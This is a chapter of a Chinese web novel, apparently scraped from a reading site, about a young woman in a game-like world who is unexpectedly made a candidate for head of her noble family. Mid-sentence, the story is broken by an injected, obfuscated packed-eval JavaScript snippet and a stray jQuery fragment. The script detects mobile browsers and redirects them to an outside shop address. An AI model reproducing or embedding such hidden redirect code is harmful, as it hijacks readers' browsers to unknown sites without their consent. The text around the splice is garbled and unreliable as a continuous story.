想起来了,全想起来了。
她不是什么忙着写毕业论文的大学生,她是要当顾家家主的人啊!
她怎么能沉迷在学校里,一直在不务正业地学习啊?!
顾明越立刻收拾东西离开图书馆,问道:“家主死了?”
长赢点头,“昨晚刚刚去世。”又看着手里的铜币叹了口气。
本来就没多少存款,他对这种赌局也不感兴趣,只是同僚们都对此兴致勃勃。
忽然,手里的铜币被身旁的人强硬地拽走,一枚都没给他剩下。
寒冬的冷光流过铜币上凸起的月神圣像,下一刻几枚铜币忽然被高高抛起,轻巧地离开她的指尖,在空中翻转着切割出每一道光线。
她阖了阖眼,问道:“我以为你们骑士都会支持各自效忠的人。”
叮咚几声,铜币又稳稳地落回她的掌心。
长赢解释:“感情上是的,但人要理智一些。”
“这一次家主要怎么选出来?”
消息灵通的长赢还是摇头,“我不知道。稽查院不参与这种事。”
不论主上如何,骑士之间不能相互敌对,更不能做出帮忙杀害竞争对手这种事。
顾明越好奇:“现在谁最有可能?”
“顾蘅。”这次的回答没有任何犹豫。
主家嫡系这一代的长子,稽查院院长,在啄木鸟日报的民调中被公认为除了家主外最有权势的顾家人。
“出身和履历都不错。”顾明越若有所思。
第二天,长赢告诉她,现在不存在谁最有可能当上家主了。
顾明越立刻放弃与毕业论文搏斗,“为什么?顾蘅出什么问题了?”
长赢:“他昨天被马踩断腿了。”
顾家当然不可能选一个断腿的人当家主。
“……愿月神庇佑他。”顾明越在胸口画了个月亮,“你知道这意味着什么?”
长赢想了想:“意味着他昨天被马踩断腿了。”
顾明越挥了挥手,“不是。意味着你主上当家主的概率变高了。”
长赢:“……”
他停顿片刻,才僵硬地附和起来:“你说得对。”
顾明越不满:“我是认真的。”
“但你明天就要交论文了。”长赢认真提醒道。
顾明越:“……那还是论文更重要一点。”
这一篇毕业论文写得好,她说不定还能混一个优秀毕业生的名头。
前不久顾明越跟前任院长吃了顿饭,交流了下将来的去处,院长也有给出一些过来人的建议。
虽然顾明越出身差了点,又没有上一辈的人脉,但塞勒涅大学毕业生的名头也够她谋取一个不错的位置。
顾明越故作随意地问了下当家主的事。
院长直接说这是痴心妄想,做梦都不可能实现。
顾明越就已经做好慢慢熬下去的准备了。
反正游戏里大家的寿命都很长,四十岁的人也还处在青年期。
莫欺少年穷,莫欺青年穷,莫欺中年穷,莫欺老年穷……她会一直有精力。
刚好顾明越写论文需要回趟顾家。贵族家中的藏书虽然不比大学里的更多,却更为宝贵和珍惜。得益于塞勒涅大学学生的身份,她在家中图书馆的权限还挺高的。
结果半路上就遇见了熟人。
前任福利院院长,现任顾家金袍执事顾依兰向她打了个招呼,头往旁边偏了偏,示意道:“明越,聊几句?”
三人坐下后,顾依兰感慨:“我想你最近快毕业了会常来图书馆,但没想到这么巧今天就碰到了。”
顾明越疑惑:“院长,您有事找我?”
虽然顾依兰现在不是院长了,但并不妨碍顾明越仍然使用最习惯的称呼。
“我记得你对顾家家主择选很感兴趣。所以我帮你要了张前排VIP区的观摩票。”说着话,顾依兰将手中的信封递过来。
她拆看信封,只见里面工工整整地写道:
“致顾明越
……月神选择了你作为家主候选人……请于2月21日晚八点之前到达圣堂,参与家主择选。”
落款为长老院。
顾明越和长赢:?
“月神选择了我当家主候选人?为什么?”
顾依兰颔首,“嗯,因为有一个候选人出了点问题,所以有个名额空出来,我就提了你的名字,刚好你可以去感受一下现场的氛围。至于月神,惯例就是这么写的,名头而已。”
那个出问题的候选人……被马踩断腿的顾蘅。
“为什么是我?”顾明越又读了遍信,还是觉得过于突然。
“提升下候选人里支系血脉的占比,显得公平一点,方便安抚族中的情绪。”顾依兰不以为意,“但我们都知道,只有嫡系才可能成为家主,你们就是去走个过场。”
怕顾明越有心理负担,顾依兰安慰道:“这个名额没有那么难拿。你当年考749分的事很出名,大家都觉得你是个专心学术的好学生,不会对别人产生威胁;而且你经常去教堂,可见是虔诚的月神信徒;你的未婚夫又是郁时青,把你加上去也是对郁家的看重。”
顾明越抬眼,认真地看着面前的人,郑重说道:“院长,谢谢您。”
虽然顾依兰说得那么轻巧,但她当然能明白这对于自己是多么大的好事,而顾依兰作为举荐人又必然为了她要承担下更多的责任。
“择选家主的权力在长老院手里,不由我们来定。成为家主的标准是什么,除了他们也没人知道,”顾依兰起身告辞,“去看看吧,明越。在择选出来前你最好从学校搬回来,这样做什么事也都方便。”
又只剩两个人了,顾明越对着身侧木着一张脸的长赢说道:“你知道这意味着什么吗?”
“意味着我主上当家主的概率变高了。”他毫无波澜地复述了顾明越之前的话。
就在这时,冰冷的系统机械音响起,顾明越忍不住笑。
【主线任务开启!】
【第一章家主之位】
【古老的家族逐渐腐朽,同一血脉的族裔注定背负着残酷的诅咒。在无休止的杀戮与阴谋、血腥与痛苦之下,所有人都知道,月光、黄金与丰饶的土地只归属于真正的继承者。】
【主线任务(一):我恨晚八】
【1、请在2月21日晚八点前到达月神圣堂,按时参加家主择选仪式。】
【检测到主线任务开启,已为玩家自动解锁“存档”、“读档”和“背包”功能。】
顾家的图书馆在地底。
图书管理员伸出一只手,拿着顾明越的身份卡检查了下,懒懒道:“请进吧。提醒一句,请不要在槲寄生图书馆做任何违反顾家家规的事,你的权限开到了负四层,如果你进入了负四层以下,后果自负。”
她的权限就是骑士的权限,管理员默认长赢可以随从在侧。
越珍贵的书越被珍藏在下层,顾明越要找的书在负四层。她轻车熟路地步下台阶,昏暗的地道里一豆一豆的烛火烧着光,拖长了她与长赢的影子。
顾明越开始规划晋升之路,“要不然我从现在开始每天去长老院门口逛一圈,看谁会因为我把垃圾都扔到垃圾桶里,觉得我会是个可靠的人投我一票。”
《智慧背囊》里的故事都是这么写的。
这是需要他回答
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813091|210953||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的问题吗,长赢慢半拍地想,一只白鸽正好从身后掠来,落在了他的肩膀上。
是稽查院的来信。
“我要离开一段时间。”长赢飞速地扫了一遍纸条上的文字,“稽查院急召我们回去述职,可能有些新的任务。”
不是前不久刚做过年终总结吗?
顾明越明白过来,“怕你们给家主择选带来不公平的助力吗?”
“我无权评论稽查院的决定。”
长赢拿出钱包放到顾明越手里,一条一条地说着,“我们住的地方是象舌街32号,家里的存款分别在你我床下的暗格和书桌后面,家里还有两根黄瓜,西门巷外的那家面包店每天晚上九点以后会有免费的面包边。还有南洞桥那里……”
“我知道我知道。你一路顺风。”她扳过面前人的肩,在背后不轻不重地推了下,胡乱地加油,“去吧,放轻松,不论考得怎么样,家里都爱你。爱来自象舌街32号。”
长赢不太放心,但稽查院那边催得紧,不好再拖下去。
他平常也不太说话,身边忽然少一个人,顾明越居然也没什么特别的异样感,只拿了书,找了个地方开始写毕业论文。
【学习中……】
【努力中……】
【精神集中度提高80%】
【检测到玩家已获得称号“百年难得一见的天才”,灵感迸发概率提升200%】
……
你见过凌晨五点的顾家吗?
顾明越离开图书馆的时候见到了。
她脸色一片灰白,游魂似的飘回家中。
白亮的光从天际线铺展开来,一刀斫开冷冬的夜色。
“顾明越。”
白太阳的光落在顾之庭的脸上,衬得他脸色比顾明越还要难看。
“早上好。”她有气无力地挤出了点气音。
“你为什么成了家主候选人?”顾之庭的话音微不可察地颤抖着。
在听闻消息那一刻窜起的凉意现在依旧卡在胸口,沉闷的呼吸牵扯着脑海里绷紧的弦,焦急、震惊与巨大的怒意几乎要吞没了他所有的理智。
对面的人像是完全没听懂他的话,皱着脸捂住自己的心脏,一副出气多进气少的样子,“小声点,我心脏受不了。”
所有话都堵在了喉咙里,顾之庭抿唇拿着钥匙先开了门。他以前每个月会回来一两次,顾明越便让长赢给他配了把钥匙,只是后来用得不多。
顾明越飘进屋,他跟在身后,想去帮忙接杯水,一回头她已经瘫倒在床上睡着了。
“走的时候把门带上。”她模模糊糊地说道。
这下是真的什么话都说不出来了。
顾之庭在原地停了几秒,闷着脸转身去烧了壶热水,绕了圈房子,里面居然什么能吃的菜也没有。
她平时和长赢都吃什么啊?
他叹了口气,等水烧开后拿了毛巾轻轻擦着她的脸。
顾明越的呼吸很浅,眉梢微微垂向眼,像两片敛翅的蝶,睫毛在颧骨上投下淡淡的影子。她醒着的时候常是温和笑着的样子,如今睡着了,反倒显得冷淡而陌生。
顾之庭像从前一样,蜷缩在她的身旁。均匀而绵长的呼吸声轻轻托起他,有那么一瞬间竟也恍惚,这里还是那个破旧、潮湿的福利院。
隔壁床的孩子发了两天的烧,上午咽了气,下午就草草埋了。
缠绕在床边的是死人的味道,亦或是霉味,他也分不清,和顾明越挤在同一床被子里的时候,至少还有顾明越的味道。
至少这样是暖和的。
他和姐姐可以活过这个冬天,顾之庭想。
反正顾明越不可能成为家主。